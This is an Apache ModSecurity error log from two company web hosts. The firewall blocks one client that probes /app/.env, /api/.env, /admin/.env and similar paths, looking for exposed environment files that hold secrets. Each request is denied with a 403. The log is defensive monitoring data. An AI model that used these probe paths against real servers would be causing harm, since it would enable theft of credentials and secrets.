[Mon Oct 26 02:13:22.012500 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at7vgpMnyYq70WIUET3r7AAAABc"]
[Mon Oct 26 02:13:22.012784 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at7vgpMnyYq70WIUET3r7AAAABc"]
[Mon Oct 26 02:13:22.033341 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at7vgssSJ_JPXSgPpTUB7wAAAA4"]
[Mon Oct 26 02:13:22.033542 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at7vgssSJ_JPXSgPpTUB7wAAAA4"]
[Mon Oct 26 02:13:22.033777 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at7vgssSJ_JPXSgPpTUB7wAAAA4"]
[Mon Oct 26 02:13:22.239167 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at7vgpMnyYq70WIUET3r7QAAABc"]
[Mon Oct 26 02:13:22.243361 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at7vgpMnyYq70WIUET3r7QAAABc"]
[Mon Oct 26 02:13:22.243666 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at7vgpMnyYq70WIUET3r7QAAABc"]
[Mon Oct 26 02:13:22.243736 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "plantas2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at7vgpMnyYq70WIUET3r7QAAABc"]
[Mon Oct 26 02:13:22.243753 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "plantas2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at7vgpMnyYq70WIUET3r7QAAABc"]
[Mon Oct 26 02:13:22.293015 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at7vgssSJ_JPXSgPpTUB8AAAAA4"]
[Mon Oct 26 02:13:22.293198 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at7vgssSJ_JPXSgPpTUB8AAAAA4"]
[Mon Oct 26 02:13:22.293463 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at7vgssSJ_JPXSgPpTUB8AAAAA4"]
[Mon Oct 26 02:13:22.461934 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at7vgpMnyYq70WIUET3r7gAAABc"]
[Mon Oct 26 02:13:22.462146 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at7vgpMnyYq70WIUET3r7gAAABc"]
[Mon Oct 26 02:13:22.462403 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at7vgpMnyYq70WIUET3r7gAAABc"]
[Mon Oct 26 02:13:22.617358 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at7vgssSJ_JPXSgPpTUB8QAAAA4"]
[Mon Oct 26 02:13:22.617625 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at7vgssSJ_JPXSgPpTUB8QAAAA4"]
[Mon Oct 26 02:13:22.617999 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at7vgssSJ_JPXSgPpTUB8QAAAA4"]
[Mon Oct 26 02:13:22.618077 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "plantas1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at7vgssSJ_JPXSgPpTUB8QAAAA4"]
[Mon Oct 26 02:13:22.618092 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "plantas1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at7vgssSJ_JPXSgPpTUB8QAAAA4"]
[Mon Oct 26 02:13:22.821048 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at7vgpMnyYq70WIUET3r7wAAABc"]
[Mon Oct 26 02:13:22.821298 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at7vgpMnyYq70WIUET3r7wAAABc"]
[Mon Oct 26 02:13:22.821592 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at7vgpMnyYq70WIUET3r7wAAABc"]
[Mon Oct 26 02:13:22.835264 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at7vgssSJ_JPXSgPpTUB8gAAAA4"]
[Mon Oct 26 02:13:22.835468 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at7vgssSJ_JPXSgPpTUB8gAAAA4"]
[Mon Oct 26 02:13:22.835784 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at7vgssSJ_JPXSgPpTUB8gAAAA4"]
[Mon Oct 26 02:13:23.377685 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /site/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "at7vg5MnyYq70WIUET3r8AAAABc"]
[Mon Oct 26 02:13:23.377925 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "at7vg5MnyYq70WIUET3r8AAAABc"]
[Mon Oct 26 02:13:23.378190 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "at7vg5MnyYq70WIUET3r8AAAABc"]
[Mon Oct 26 02:13:23.379330 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /site/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "at7vg8sSJ_JPXSgPpTUB8wAAAA4"]
[Mon Oct 26 02:13:23.379474 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "at7vg8sSJ_JPXSgPpTUB8wAAAA4"]
[Mon Oct 26 02:13:23.439784 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "at7vg8sSJ_JPXSgPpTUB8wAAAA4"]
[Mon Oct 26 02:13:23.638995 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at7vg5MnyYq70WIUET3r8QAAABc"]
[Mon Oct 26 02:13:23.639249 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at7vg5MnyYq70WIUET3r8QAAABc"]
[Mon Oct 26 02:13:23.639543 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at7vg5MnyYq70WIUET3r8QAAABc"]
[Mon Oct 26 02:13:23.707823 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at7vg8sSJ_JPXSgPpTUB9AAAAA4"]
[Mon Oct 26 02:13:23.708049 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at7vg8sSJ_JPXSgPpTUB9AAAAA4"]
[Mon Oct 26 02:13:23.708345 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at7vg8sSJ_JPXSgPpTUB9AAAAA4"]
[Mon Oct 26 02:13:23.854707 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at7vg5MnyYq70WIUET3r8gAAABc"]
[Mon Oct 26 02:13:23.854964 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at7vg5MnyYq70WIUET3r8gAAABc"]
